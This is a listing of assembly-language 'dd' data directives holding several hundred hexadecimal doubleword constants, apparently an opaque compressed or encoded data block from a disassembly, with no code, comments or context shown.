		dd 0FDA96949h, 802C40BBh, 86E480FAh, 30D55920h,	9F38F3DEh
		dd 91DFF177h, 8BD87842h, 9038C4E0h, 2BE4658h, 7329ACF4h
		dd 10DF313Ah, 0A0B83D2Ah, 246724E1h, 8468F384h,	42C1316Fh
		dd 0E712306Ah, 60EAC4D8h, 1D600787h, 44BBDAA2h,	0F49C0BFEh
		dd 0B20039BCh, 0E850EEF7h, 814FB4Fh, 0DA9CE45Dh, 3A68A80h
		dd 4ED560h, 0AB0E43F4h,	8FD2147Dh, 0B33CB500h, 0E65090EDh
		dd 6080AF34h, 0AA0DDD09h, 61997E09h, 0FD1C02DBh, 801E04EDh
		dd 45D172BDh, 6D8F158h,	9BEA286Dh, 78C88070h, 16C340A1h
		dd 67462009h, 6FBC48FCh, 0ED8740CDh, 85583162h,	41840EDEh
		dd 4B94B161h, 0C383C8E8h, 0E0B82127h, 0F416BC89h, 5C42756Eh
		dd 6D19B122h, 0EE1FC06Ch, 745C9F7Bh, 9DE380FCh,	7CE93A8h
		dd 7EA908F1h, 0E0E1C0EFh, 0A0A0AD2Fh, 756FA020h, 537100C9h
		dd 483807A5h, 440024E0h, 9C2E86Bh, 5169A39Ch, 21F422C1h
		dd 48704Bh, 53C4E4BDh, 0F102279Bh, 66580A02h, 8B99AFEEh
		dd 0CDA01094h, 0B990505Eh, 0DC6D0413h, 82040775h, 0EC48605Ch
		dd 9968C13Fh, 1944AC98h, 0EFA54660h, 3E77210h, 398089C8h
		dd 460FA52Eh, 0AC61C52h, 0A3183473h, 30E3B20Ch,	1A07FF75h
		dd 24183477h, 0E268E589h, 9618BFEDh, 0A5FB06D3h, 0E8052C67h
		dd 83EA9800h, 7C7391EBh, 2387478h, 12DC6FA7h, 0AA40CFE8h
		dd 0BA33938Bh, 3C3080Fh, 0E81AF521h, 2489FADCh,	794091F0h
		dd 0CAE81580h, 448C1FB2h, 1D00FAC1h, 0C630ABE8h, 7699F7AFh
		dd 0FE2500DFh, 9795CC49h, 6F30AAC2h, 3BF9303Ch,	93CF3A03h
		dd 838F1060h, 19067F8Eh, 10AB2FF7h, 21896009h, 538E8BAFh
		dd 38CCEF1Ch, 450E9500h, 0CD6C91Ah, 0CF78AA6Ah,	1D125189h
		dd 770B3419h, 0C641002Ch, 37B89D3Ch, 0F878AB8Fh, 458EA7CFh
		dd 8788D1AEh, 8E85D583h, 839398BDh, 661B1D31h, 36768001h
		dd 0B79FE746h, 2E3C9B40h, 771FDCCh, 0F319790Dh,	281F8159h
		dd 8E1AE2C0h, 114017A8h, 0B40E808Ah, 0CA4398h, 4742DE2Ah
		dd 8D04B6B3h, 0AC6460CAh, 0F5179247h, 63F1E9E0h, 0E599CE49h
		dd 4F13C083h, 7E53111Ch, 73C48280h, 66CC37B4h, 215B086Bh
		dd 53760C00h, 61BF330Dh, 0DDCC00CEh, 65D43A9Dh,	8900BAF6h
		dd 6B3C90AAh, 0FE152E4Dh, 9F1B017Ch, 0B81AB72Fh, 424980BBh
		dd 713AD01Dh, 63197CEFh, 28CE19A3h, 9101E18Eh, 53E73E9Ch
		dd 21805D12h, 1FD1482Eh, 4C009D0Ch, 0C25FBE1Eh,	0DECE50h
		dd 51372A54h, 0A86B8890h, 0CA87F9C0h, 62E1778h,	264FD7CCh
		dd 0BC6008D4h, 78C36821h, 0C6CB00F8h, 30E5E9F6h, 0F11C26E4h
		dd 0A483D679h, 0D0429B6Fh, 0EB8B046h, 491495FAh, 116619E3h
		dd 0C6B407CDh, 5EE0DAE6h, 5A038546h, 0B264DA0Dh, 8900917Ch
		dd 55985B13h, 11826D4h,	0C5B8E578h, 4C73377Bh, 728CC1DCh
		dd 0C4811141h, 0A856887Bh, 2B533F3Ch, 68EE1E70h, 12FE0681h
		dd 0D3EC2147h, 86C92000h, 858F9B65h, 147C4CDFh,	18CDFE8h
		dd 6B8FB586h, 0C8B39730h, 0C630CC43h, 1D2EE1ADh, 0FC4C4826h
		dd 0E289843Ch, 8000CF71h, 0DEC94ECDh, 2B08A51h,	0F03389E4h
		dd 432E1678h, 0C26980C4h, 716778h, 2E03EB8Fh, 3A4CD794h
		dd 0B0C84D24h, 0C4119C48h, 9E4F428Eh, 8C3615Dh,	8A0EE87Ah
		dd 34BF008Eh, 7D5F9E43h, 99023319h, 491AC6CEh, 0C23091CDh
		dd 80E44018h, 1143C423h, 780E005Fh, 3AC4AE53h, 48EF606Dh
		dd 8E138468h, 27E22414h, 0C0B00494h, 3C92864Eh,	0E79487CEh
		dd 84481194h, 1378CEC0h, 22EC462Eh, 0C76C0080h,	2CA2C478h
		dd 5702A352h, 0E7CF5364h, 0D1F88F95h, 0CBE81680h, 448C17B2h
		dd 1E01F9C7h, 0B0EAC4E8h, 0A083BD72h, 0CDCCC037h, 473F71CEh
		dd 77918FF6h, 41419EC2h, 0A3C39AC8h, 6AF67CF1h,	444447F8h
		dd 0B0776350h, 5AD8B0Dh, 695FE7E4h, 9588074Eh, 7E1812CCh
		dd 3955E0E0h, 281AACA0h, 8402C107h, 6E806646h, 14FB208h
		dd 0A4488D29h, 47501A15h, 69C826B8h, 0AACE730Ch, 6077F032h
		dd 0CC9FF93Bh, 1D2A5AD2h, 1E49FC66h, 8E8080FCh,	8C9F1940h
		dd 0D28C44h, 7AC68E88h,	4F8635ECh, 6913F803h, 0C2B830F9h
		dd 26A48093h, 0C425A62Dh, 14B0B90h, 91EEC9CDh, 86E848B2h
		dd 78CCFCB0h, 0FC2E1111h, 6A808188h, 9E9178C5h,	8D8A034Ah
		dd 43127AA5h, 62E93Ah, 1EA42CAh, 3C4AE11Dh, 3A001BC1h
		dd 0C8B2275Bh, 98C19DCEh, 56160D30h, 0C7EC6405h, 14AB4E8h
		dd 90A76EBAh, 74C8A8A4h, 77008246h, 69DFC97Fh, 2C0E797Ah
		dd 29A9145h, 0A0712A43h, 0CE7CF5A4h, 7E13020Bh,	367AC24Bh
		dd 0EAC21743h, 0B8B1D4A3h, 0CEB83CE7h, 0D8394C68h, 9E801811h
		dd 0AF19428Eh, 86D40087h, 74F8848Eh, 6E3D1A07h,	19F0A285h
		dd 242A8B22h, 32041E97h, 847A7F1h, 7608B44h, 6107D5DAh
		dd 54F920E3h, 994E19B0h, 5830B095h, 3B9CE46Bh, 0E741F894h
		dd 0BE93430h, 9F161DF9h
		dd 4203AA39h, 6B51566h,	79441238h, 924C299Ch, 8CDEBCE8h
		dd 7B9DC200h, 0DD949807h, 4261F43Ch, 9220064h, 0AE5471Bh
		dd 28B113h, 15A51768h, 5A054490h, 77F5CF92h, 0A1B6A081h
		dd 74CEC007h, 4C3CACC9h, 0CAB84811h, 10808C98h,	0FE768366h
		dd 80B705B4h, 0D0695E1Ch, 95024C9Ch, 1910D540h,	40A572D8h
		dd 0F2C032E6h, 1C723050h, 0E8EE992Ch, 950A2E00h, 0C080CE48h
		dd 33838B89h, 4C01E1F9h, 7A1CE488h, 0F0CCCA0Ch,	44B648ACh
		dd 0F6F21F02h, 7841974Fh, 8C8188Ah, 0DC2E1578h,	664083C4h
		dd 685F78C1h, 0DD183507h, 812F8588h, 2E752F4Dh,	93753E4h
		dd 3BFF2B42h, 716F9047h, 466E8981h, 0B502895h, 220902C4h
		dd 90131F38h, 3D61C0h, 30ED7ED6h, 0CE039C6Bh, 45499E63h
		dd 0CB89F814h, 0A16D13F2h, 30FD01BCh, 63DC0A44h, 30BDA2D8h
		dd 5E0413CEh, 836ED0B2h, 37F3D491h, 7D66B107h, 0A3B094A9h
		dd 8C8BBC7Ch, 0C2013E00h, 0D63691Dh, 0CFBF0018h, 2BEDB2CCh
		dd 611F14AAh, 57C19AF6h, 89FD5E19h, 566F7084h, 0C814CBFAh
		dd 0ED6DC289h, 8B416360h, 441B1900h, 0B494659Fh, 0B623242Eh
		dd 1198489Ch, 0CC02938Bh, 47D42E14h, 0C0670314h, 0FAE80C78h
		dd 0B40023DAh, 30B217CBh, 96647A53h, 811C1160h,	197E8E82h
		dd 128431D6h, 1F6BE1D0h, 0ECB0E8D0h, 4DC0A082h,	0A4194867h
		dd 441CC623h, 23C49C84h, 7C050A38h, 0FEA9FA53h,	860CFF81h
		dd 2E3E1ED0h, 112C4790h, 0E81B8077h, 8C0FB2C8h,	0FCC644h
		dd 6A79E803h, 0ECD1E227h, 2095490h, 10CF1D8Bh, 1C03FCCh
		dd 8A338DF3h, 0E06A7098h, 4E00090Dh, 1B7A075Dh,	0B41320h
		dd 3F297DA0h, 7F153596h, 0C548C003h, 5D9B902h, 0F9666E58h
		dd 2FFC1791h, 572310h, 0E701FC26h, 0B200D44Dh, 0DF13BB1Eh
		dd 2EB03AF0h, 81DCB746h, 82D93CF1h, 2DA46489h, 9847FE20h
		dd 801E74B0h, 0BC949017h, 1EC6465Eh, 987ADE7Ah,	75D836E9h
		dd 5E4894ABh, 0EC075546h, 0F1AAEA9Fh, 0D774C089h, 1CC54823h
		dd 0C49D8445h, 9385Bh, 5AC8537Dh, 61A34E1Bh, 9AACC501h
		dd 39E32842h, 0F1CF034h, 35BAF8DCh, 0B6481D84h,	6A98E038h
		dd 0D7E500A2h, 0C449A414h, 94964A61h, 7F63DF44h, 6BC48390h
		dd 335A448Ch, 0FE537700h, 0D20E5579h, 0B09E28C0h, 0D6E400CCh
		dd 1B5975A1h, 0A509C778h, 37481351h, 333580E4h,	888662ABh
		dd 58A0903Fh, 8064CF38h, 0DCFB8130h, 97B1002Dh,	0D7BCBB2Ah
		dd 66098CACh, 456E24F6h, 61BCE400h, 6EC8857Bh, 0FAFF2627h
		dd 8B465E18h, 1A50075h,	5AC7981Dh, 0CF2E97ECh, 0C9120B9Bh
		dd 5E51E4C7h, 0A820B0F1h, 0C84625ECh, 0C4912C97h, 3A25E580h
		dd 30EBBA0h, 0FAC72F43h, 44744720h, 42146088h, 2D790E25h
		dd 0A625B069h, 1EEC0685h, 180C2997h, 0B886A17Eh, 90E61CCEh
		dd 5C1067CCh, 2F409A25h, 18E898E0h, 0B04CCD15h,	0FE53C796h
		dd 3089A2A8h, 0DE0E4674h, 806A62FEh, 0CC94E679h, 1E04ACFh
		dd 42052E28h, 2078A444h, 0B8BCFE0Dh, 56F0B836h,	9B0597A3h
		dd 34ED02C6h, 80F0D802h, 0E4F865E5h, 60466158h,	302F8C47h
		dd 4D8ED000h, 9B31231Bh, 9404ACAAh, 2340A286h, 0E811017Dh
		dd 0EFFB2CEh, 0E819F600h, 0E145090h, 884BA300h,	64A24105h
		dd 44309677h, 78CD6085h, 0E42E2112h, 78C66DC0h,	0EE980072h
		dd 3644240Fh, 0D200C15Ch, 7D961D11h, 4FC692DDh,	23E82FE7h
		dd 1D980288h, 78609C7Fh, 0D0B07EB0h, 60E89BE8h,	0F6C9740Ah
		dd 2203E0B6h, 0E2FE2583h, 76904150h, 0E80A1418h, 8C07B2C9h
		dd 1CFB70h, 0D6EB7DE8h,	7FB3AE5Dh, 1A240701h, 0D1E5E2CDh
		dd 585FEC42h, 0B69E3F10h, 164EDCD4h, 5F33B51Ah,	0D2F8107Ch
		dd 58C8C0CAh, 2662BCEh,	33DF664h, 21005E12h, 4E1AD7AEh
		dd 1F5F3A6h, 5BEE680Eh,	0C0C68CCCh, 1D0608D9h, 0BA357E1Bh
		dd 1A722880h, 0FCF0A35Ch, 418E8160h, 1687192Dh,	89D103A4h
		dd 1182CE8Eh, 0C18D3AC0h, 0B12E48C0h, 4BAE1EFDh, 230C2F4Bh
		dd 0E1070356h, 0DCE859DFh, 94B80A24h, 9984E20h,	0F3CC6947h
		dd 26151098h, 0E99A00F9h, 0A08B0EE4h, 20D332C4h, 0B1F17E8Ch
		dd 1B301380h, 3020CA1Dh, 8BA9C591h, 5BE1649h, 80203094h
		dd 127F649Eh, 40CE7947h, 33456300h, 0CB1F5E7Bh,	684157CAh
		dd 13AC28FBh, 0B61DC020h, 0D85F4028h, 0B91F42F5h, 97008FAFh
		dd 0A1E9A2D6h, 0C6953BC9h, 69AF192h, 0A832F50Ch, 8AD1B091h
		dd 40012418h, 7BE293C0h, 0CE451AFh, 5A70BA9Eh, 0DF784012h
		dd 0C03075E8h, 0B6208603h, 0A82DD7E7h, 0B4EBEAh, 8834D91Fh
		dd 0B7F2C0B2h, 4419DA83h, 0C696098Ch, 0B0C5FAA5h, 596087C4h
		dd 0CC2CE858h, 0A32DE99Ah, 0A11C4228h, 11834413h, 550F1E99h
		dd 54823BC8h, 7945741Fh, 6FA47A05h, 0C3F27CF2h,	18B19F30h
		dd 0D8073B4Dh, 47809BFEh, 0D15E1219h, 0E9080092h, 0C3254826h
		dd 5620A898h, 0C69A065Fh, 51C878E6h, 0DA663801h, 1DE5C4C9h
		dd 6E64F8h, 6C52470Fh, 2ABA2520h, 3FF0E31Ch, 43ED3A49h
		dd 669DC09Ch, 8F30BCABh, 90A06B2Eh, 0B6B8B294h,	329084E7h
		dd 0ECF12215h, 0C4F2D872h, 30B7C30h, 4618B7E2h,	0D907BD55h
		dd 0EA4B6B30h, 648B6E40h, 2689C0B9h, 231CAE5Fh,	80004577h
		dd 1DF31428h, 185020C0h, 382FADA4h, 0FC7F5626h,	10BBF498h
		dd 11BAE70h, 3756A5CAh,	0AD4CF8BEh, 919C1748h, 899C8083h
		dd 0A866D94h, 4051DCB9h, 652D059Ch, 0A2A0B3D1h,	0D49530C2h
		dd 9D86D31Eh, 240E1B53h, 1C797082h, 0E861E2C6h,	7B1216E4h
		dd 23783A49h, 0E52A00BFh, 37A5501Fh, 0B195C000h, 3D4B555Fh
		dd 0A43CE532h, 4B788058h, 0F58443B4h, 83ECC47Dh, 98101AB8h
		dd 9C164A5Ah, 8FACC472h, 0E18688D8h, 601D4941h,	0C872EA8Ch
		dd 0D3200F7h, 0A8D851C7h, 40F6D460h, 432EA4A0h,	465E2091h
		dd 0FBBB03C5h, 7C1BB4A2h, 0C93D0581h, 0E3148CC6h, 30BEA2A0h
		dd 4B0EBBF7h, 0EC2A3FD6h, 18D159CAh, 72BDECC9h,	0D800AB97h
		dd 0C1A5339Eh, 134D7EC6h, 200244C5h, 0AF12CEB4h, 6B5896E3h
		dd 11428090h, 3747F2Eh,	1AC6367Ah, 3013388Dh, 54917E10h
		dd 6034AC83h, 4D44A2Dh,	0A9B89E8Ch, 60674CD4h, 63EDDD51h
		dd 562248D2h, 0A61FE800h, 60030DF6h, 24D0CE48h,	2093461h
		dd 4E041025h, 0CCA74069h, 1190C825h, 9C181ABCh,	19448E09h
		dd 831865BFh, 808E84D6h, 8DCFBAF0h, 86C47F00h, 95E18B2h
		dd 4660C099h, 0B9B69FC0h, 0D09BB9D7h, 0E7C28E80h, 0F7241CE5h
		dd 0BA005291h, 297E13DEh, 440CBCCFh, 0E244A38Dh, 139230C5h
		dd 2C886309h, 12784016h, 735CA2FFh, 88565A98h, 0EE629C60h
		dd 15EC091Fh, 80056BD6h, 6B58533Ah, 583A003Ch, 125FA19Bh
		dd 4679C253h, 2868B91Ah, 2852B656h, 64216290h, 5E1C48B1h
		dd 0B190034h, 2E9E07C0h, 4E095129h, 0E8B61AD1h,	802AE660h
		dd 0A4322EBAh, 0D8DE386Eh, 114D1F84h, 66D78205h, 0C0824878h
		dd 689D4C79h, 0CE83DE11h, 22C09B62h, 491660ECh,	0E000EFF7h
		dd 5AB03268h, 8ACB29Ah,	0AE40B693h, 0ED08C02Ch,	0DDF012DFh
		dd 0A81C29A0h, 97370760h, 51CA2B6Bh, 2056382Ah,	24884960h
		dd 0F8F95D3Ah, 9012DF12h, 0AE4A9298h, 0B0E3E00h, 5396ADEDh
		dd 83D1037Eh, 8CB311C3h, 0C4B6FAE0h, 34B9AB77h,	0F418C5D1h
		dd 0CEB29509h, 0ADC0209Fh, 327EF47h, 77D2260Eh,	72D32C61h
		dd 0CEC338C8h, 9D37872Fh, 80869158h, 0AA8CE975h, 199A6FCFh
		dd 264C4640h, 1016254h
		dd 42AF0FE4h, 2185962Ch, 0D0797E1Ah, 9017110Ch,	0DFD1E899h
		dd 65E66E18h, 8061253Ah, 0B0559160h, 81856AB8h,	2A9EF530h
		dd 0FC159C05h, 0BA23F43Ah, 19331E03h, 0F2AD82B6h, 649F0108h
		dd 325B47Ah, 0B82C68E6h, 84008C50h, 8F38E62Fh, 2463521Ch
		dd 1FA408F8h, 5C9E207Ah, 1BE8C640h, 0CF8D1329h,	80A0DB94h
		dd 825A76D8h, 6E2402F5h, 9BD06230h, 83791C79h, 0A5006218h
		dd 1C3AE3EEh, 1D12979Dh, 2201B79h, 48BB9F38h, 86A0B120h
		dd 77F40474h, 0ACDF221Bh, 8CBEBC00h, 88F4CA0Fh,	695B4099h
		dd 0EF72B8D2h, 95250474h, 0C97C8CA0h, 0D87F63E6h, 1A41FC96h
		dd 0F4CFC524h, 3F70F0h,	0F657693Bh, 0DE3C79BAh,	0B1411230h
		dd 78B5C020h, 487B0EC2h, 50002660h, 0E1CBF53Ah,	42E0BCADh
		dd 335E19EBh, 37193378h, 4E794600h, 95A83ACBh, 0CEDE00C6h
		dd 12B4ECFFh, 4CB14D89h, 8918C7F1h, 930FC90h, 0A42D0830h
		dd 0FFB90CCCh, 1329352Ah, 4CF14560h, 797E573Dh,	975601B4h
		dd 135330D1h, 8921814Bh, 73957F47h, 99128920h, 0BFAC036Ch
		dd 44CAC223h, 9CB17CD8h, 8318BDD1h, 9553C103h, 0A1C32BB1h
		dd 0B47CC97Ah, 78C86BCh, 0CA1BAD85h, 2210E74Dh,	70476030h
		dd 1061BAC4h, 0B1D84C81h, 0E3211300h, 722CC84Bh, 20C4B883h
		dd 0BA5BD07Dh, 69E74808h, 8511A017h, 0C8E0B580h, 89C1B664h
		dd 5069E960h, 0C063E0h,	7620FA7Fh, 72F63D82h, 2949190Bh
		dd 91089F34h, 4D380C0h,	27CCBD6h, 132354C8h, 0D4404C7Ah
		dd 2C94E566h, 0AD021116h, 0D0AFC9CCh, 4F2601B0h, 0B157D763h
		dd 46746C95h, 0DDCA078h, 0F9A4A0E0h, 0BAF580D5h, 2696100h
		dd 9EAB8D25h, 468B4EB7h, 419534CCh, 0C7928C2h, 29E0C5D0h
		dd 18BF7140h, 3A3202C6h, 0FA40E90Fh, 89715C59h,	70004218h
		dd 35D6A2Ch, 0BCE826C2h, 0EC00DCA4h, 9E01BC35h,	15E07A5h
		dd 0E87CF6CCh, 2FE7ACA9h, 9064F821h, 886C4B09h,	0DD79C381h
		dd 50F31E8h, 0C5CCC112h, 0B34734D0h, 0BC5D2F4Eh, 1C18D40Bh
		dd 0B51895CFh, 0DD08F035h, 0B9A72C6h, 777C9FE7h, 2ECF6869h
		dd 7928D440h, 1237919Ah, 451D22Ch, 2AF4128h, 7415EC12h
		dd 829C8F18h, 0A6918E04h, 3E18B000h, 3F0E2DB0h,	990169F6h
		dd 0F6D8C6EEh, 18307DECh, 0E15C1250h, 1F02C997h, 0FB9B0A6Ch
		dd 0DBD8C06Ah, 280105D2h, 0B3CCDD9Eh, 513A8994h, 1854F11Ch
		dd 9B5605E7h, 87F91BF2h, 122274ECh, 5789CC00h, 485AC93Ch
		dd 760160BAh, 8AEA7DF6h, 44B9F1CEh, 0E04CE60Ch,	0F17425Fh
		dd 69C140D6h, 5A463A0h,	0CC4555DEh, 7A89C39h, 470729ECh
		dd 0DEACF9Fh, 0B3F3CC81h, 11B4798Bh, 0B8D03013h, 0C0C2BEBAh
		dd 0D8EE0496h, 884B4E84h, 383BA914h, 7B108056h,	0E741FE7Ch
		dd 791101E8h, 0B44665F0h, 29D03913h, 2E03E414h,	0D8BD9AD7h
		dd 98E99591h, 0F194005Dh, 52D57C7Dh, 794B4613h,	0C085605Eh
		dd 5180F737h, 5272148Eh, 4312C03Ch, 233C3AE2h, 0B02501C7h
		dd 2994D2B8h, 20961430h, 8CC2F8ACh, 3D835E07h, 0C6C0265Ch
		dd 0B1B49FD9h, 0E2123CB4h, 0DBD0C5E1h, 702E80CCh, 19B083C0h
		dd 0A841622Ch, 25BC3085h, 77CEEF40h, 2D2E0C23h,	22205DB6h
		dd 24DB134Fh, 0ACBFDC80h, 7B18F9FAh, 0E5688210h, 0B59E8031h
		dd 4225E4A4h, 6604902Dh, 40975B75h, 0AEB1677Ch,	2409EACEh
		dd 7BFAA473h, 52EF5864h, 658CB025h, 60BAE4C8h, 18A1F411h
		dd 98A6014Eh, 21C0BB64h, 4CF2ED06h, 0E60C0086h,	0CBC62E2Ch
		dd 8A751C51h, 0C92A4700h, 94D0BE34h, 0AED0B13Bh, 0C546561Ch
		dd 23EDC80Bh, 8F086880h, 0A5097F26h, 65E7D0B9h,	60C1E494h
		dd 0AA6D79h, 4361E9Fh, 4DD2252Eh, 0B47EF8A2h, 0AE540269h
		dd 0A28B0520h, 8F84001Ch, 0D1D82714h, 1106000Fh, 1E9EFDF3h
		dd 135A1762h, 0AF64B081h, 428031B8h, 0ED49BE96h, 0B42D2A0Fh
		dd 0E0586B10h, 0D38F21B1h, 80B8DBC8h, 45EDC380h, 9F721307h
		dd 6B68D2B0h, 1E6D490h,	0A8DACA00h, 8896383Fh, 579900CFh
		dd 677BF5C6h, 39072D26h, 1A2C98F0h, 54829CBh, 88016BF4h
		dd 491164E8h, 4AC6E3Fh,	0E400624h, 0B82CFAC0h, 8A4B4B3h
		dd 302AC29h, 3B9ACEh, 0D685E444h, 47D9D102h, 70DC0E8Fh
		dd 0C1CC27FCh, 8E20A8E6h, 0A4C2F84Ch, 19771EB4h, 0D006AD7Eh
		dd 5494B011h, 0C1465Eh,	816531A4h, 90BC33D9h, 454A2604h
		dd 0F0B74B6Ch, 5201E100h, 4B66B0E8h, 5D8039Eh, 584A4E76h
		dd 0DC0BA86Eh, 0D68025F1h, 7A3A585Eh, 11D41D9Dh, 920C8055h
		dd 0F8C807C6h, 0B0B8B8DEh, 166F7F55h, 83712A73h, 2398CF14h
		dd 3A491530h, 649A1C8Ch, 0CFBF786Eh, 0BAD1F4D7h, 1C25F260h
		dd 0A3F0123Ah, 0C1B582C0h, 284201A6h, 2E41BE8Fh, 6B4220BAh
		dd 0C4A4A7B8h, 30B704B0h, 3F630048h, 62270E56h,	4900A9C9h
		dd 0D3FB3C45h, 300D3011h, 0D0A0298Ah, 0CCB4CAB8h, 3B732605h
		dd 58CDB4A0h, 1EC8D8C4h, 12B8B140h, 4AB0808Bh, 19C8CC1Ah
		dd 91FC1DD8h, 42688EBAh, 4A3D5E99h, 36C5178h, 46812428h
		dd 0D6DB13B8h, 32B86D0Eh, 0E3E7C3A0h, 7EC1FF09h, 0D46CD99Ah
		dd 88D8CBE4h, 2218C0C6h, 792DD7C7h, 11F89F83h, 106B80DFh
		dd 13784FEh, 28A18B1h, 2A22D0B2h, 15ECE001h, 0D46C7E05h
		dd 0A4E2D3h, 5708E4E3h,	9685CEDFh, 0C694064h, 0C916745Eh
		dd 7CA362FDh, 406AF850h, 0D1284E2Dh, 4891E876h,	5A1883D9h
		dd 0AA844500h, 93286C34h, 2E4D007Dh, 0B326CB11h, 0A427723Ch
		dd 0C1CCCD6Fh, 6E6B38FDh, 123FF05Dh, 0C000FABCh, 0A06322BFh
		dd 80A0B1CBh, 7792C19Dh, 0FF7C4623h, 0B7DFE700h, 0B84D5BEFh
		dd 137B056Ah, 0E144E00Fh, 78223F1Ch, 0B2C125C2h, 508307A4h
		dd 0A914F2F3h, 1E4FE9C0h, 8BB300D2h, 518ACF2Eh,	9F267DADh
		dd 2083C12h, 0BCCC2120h, 0FD014B85h, 2058B8FCh,	0C39C004Fh
		dd 0DC41DEE4h, 1230DF86h, 0D548314Bh, 3DB47171h, 43977965h
		dd 18642026h, 92401D46h, 58F95D64h, 0BA1C7A7Fh,	4C6B02ACh
		dd 418E2CAEh, 0B40148DAh, 56682026h, 0AC503079h, 3A647E33h
		dd 2B023B87h, 0C50DFC28h, 172D1CD4h, 81839160h,	337E6156h
		dd 0FCD37FD4h, 96E12D5Ch, 86C480C7h, 36EE3A60h,	53307D12h
		dd 0C07A1C08h, 0B2CDE810h, 0E02CE74Bh, 0E81800F7h, 0D9E279F1h
		dd 0A5003D63h, 0B351820Eh, 0B410564h, 3778E6EDh, 5A796CD9h
		dd 29029018h, 0B8B09252h, 1A0DEFEh, 48DFCCE4h, 59806CBCh
		dd 0FFBC3Ch, 962FAD6Ah,	0E603BAA9h, 506450A5h, 0FD2F8560h
		dd 4DDBC40Fh, 41A00069h, 5D3E1496h, 0C60EBC47h,	2F4919DFh
		dd 28E24C02h, 7E0C6609h, 0FCAC254Dh, 6C45ECBAh,	3260C6C4h
		dd 0C5F0A3D4h, 81B19500h, 57699CECh, 0F01795FAh, 0FF808711h
		dd 0BEF2D50Dh, 0F0B6180Bh, 0ADA0598Ah, 8664D845h, 0FE4D9860h
		dd 0B97CFA02h, 0E8B2ED7Eh, 4CF16374h, 0C55BA7CCh, 0BCB4AC80h
		dd 7EFA8CBAh, 0BD49BB72h, 3CC04FDCh, 969AC0D2h,	849429F0h
		dd 0FCA95E18h, 0E8C60508h, 0EC214C9Fh, 5980B76Bh, 70E304E2h
		dd 0BE005853h, 7C5A3225h, 2E130FEh, 24AEED95h, 0E85C5942h
		dd 94CF8C04h, 0C4F244E2h, 4B6EE730h, 0D5A0042Eh, 72DC448Bh
		dd 0C1BC20F8h, 0EACA008Ch, 36916A32h, 2D793086h, 0D03C8297h
		dd 443CC79Bh, 0DC1160BEh, 39DA02E8h, 557E19F3h,	1B09D8DEh
		dd 0CB760290h, 7C60F665h, 0AC02BF46h, 0F07EB34Dh, 2C1A9440h
		dd 3AFC8782h, 12E8FB49h, 2686EF9h, 2C6E2D41h, 9E90D84Ah
		dd 0B543408Ch, 5E007EF5h
		dd 0A50E3E59h, 3A190C6h, 8E5F4E2Dh, 0A8B59A14h,	5273C810h
		dd 4656287Ch, 0BA6B0089h, 0CCA6210Dh, 2AC409BEh, 28F230EDh
		dd 9FACF520h, 11591C91h, 206F6FA3h, 0F64078F8h,	5D507C0Eh
		dd 0B964E4BBh, 0A16E7300h, 9800160Fh, 0CC14D68Ah, 707FCAh
		dd 7B909766h, 7DB0AC8Ch, 99AD452Dh, 0CF12654Ch,	0F4009844h
		dd 5FD14D0Bh, 303A457Fh, 0CDA8D401h, 9C920F12h,	4178F093h
		dd 52A402BEh, 9BE6D8EAh, 0B0623000h, 4044B6B3h,	26EF187Eh
		dd 7A365509h, 0B5208217h, 5E802F92h, 8FB856B3h,	308EB00Bh
		dd 7178FB48h, 2BE07170h, 0C300845Dh, 1D2E562Dh,	0D4F492FAh
		dd 80E87098h, 0BB94008Ch, 251DFECAh, 0CFE8BDB4h, 68004091h
		dd 76BEE03Fh, 6D980F41h, 0AE206BC3h, 79A3D025h,	129CCE12h
		dd 508EE40Fh, 22B0BA16h, 0C8D4F720h, 0D368D0BBh, 0C12EC02Dh
		dd 0AC207770h, 98A854DDh, 0A61516A4h, 5B442925h, 9EA1C3DCh
		dd 0CE6B889Ah, 0D7D1C082h, 88591656h, 5CE56C0Fh, 308CA007h
		dd 5CB9AD0Eh, 8C4FDB19h, 0C495DFE8h, 171B2E04h,	0B5810F5Bh
		dd 0F5788D60h, 2E030756h, 2C4E6786h, 518B8244h,	3291344h
		dd 0F08C273Dh, 0DACFB0CFh, 6900AE3Dh, 9C66C33h,	0F2CD9906h
		dd 1464B1Ch, 0E24E9CACh, 14137AEDh, 88850804h, 5630B103h
		dd 44610AE2h, 639C35D6h, 31C3A28Ch, 0BDED300Bh,	0C73F8203h
		dd 838E5E2h, 94D0B671h,	0EEC0C52Dh, 4D6280F1h, 1CEAA396h
		dd 0F1211AC6h, 40FD4E59h, 0B9CBBA64h, 0A2ECFA53h, 554A30BDh
		dd 69123E25h, 0CA309730h, 8F9D04DAh, 816BA0C4h,	5E4648h
		dd 40CED0EAh, 1925B4A2h, 506ECDh, 0CE543A66h, 0EECC4D4Eh
		dd 460226EEh, 81CAD6EAh, 0F194E295h, 60BC7BDCh,	2665F9Eh
		dd 0B0F00204h, 2C7CE2D8h, 299DCE0Ch, 0A664003Dh, 4E1D6E75h
		dd 16386207h, 95198008h, 456DF4CCh, 2EB403EDh, 0B7304328h
		dd 13C03912h, 0CDC50D0h, 0D3AA006Dh, 0BB845F30h, 0F307973Fh
		dd 8A25F0F2h, 0B847C9A0h, 0CEDE2512h, 5A70B064h, 0EDB9AF51h
		dd 14846C5Bh, 80F8B09Fh, 0F127E5E9h, 9BE64AC6h,	0D0E0805Ch
		dd 39EAD9DCh, 0E4A42044h, 0CE627C4h, 0C9461809h, 0C03854BCh
		dd 7C34A6AFh, 89C33B02h, 0D9CF4411h, 1AB48920h,	0B3EE2CE6h
		dd 882E19CAh, 1021CE16h, 86F0242Fh, 1C4409A8h, 9C56FA37h
		dd 6F6E00D6h, 562CE408h, 0B6245C38h, 470EBC86h,	0FAF0CB1Bh
		dd 0E53A1070h, 0EA247AEEh, 744A3CB0h, 22C80B3Fh, 277C52BFh
		dd 0E0E7728Bh, 6760C364h, 232C8ADCh, 0F8329463h, 0A81F5729h
		dd 0BE83DE11h, 2AE8E2A2h, 52005579h, 0E4433F7Bh, 0BB28B6Eh
		dd 0E75E24EBh, 0F0F4C062h, 7B461FDCh, 1F404167h, 80CC779Ch
		dd 60E77481h, 3F471Eh, 4D130392h, 674858F9h, 1C79512Ch
		dd 0E953C841h, 1D9544E8h, 94AF98h, 728D3D50h, 14062975h
		dd 9D1D2476h, 0BEC4B0A0h, 56465EA8h, 0CA1BD400h, 2BABF2E2h
		dd 99BA4F01h, 0E381088h, 8AD72C6Dh, 0C0C5C8C4h,	30EAAC2Eh
		dd 0B0B26105h, 40A983E6h, 6EBC08D5h, 0D002E6F0h, 0AC8B252h
		dd 6A60D4B1h, 0F800D608h, 91D176FAh, 25568BFh, 0E2C6D243h
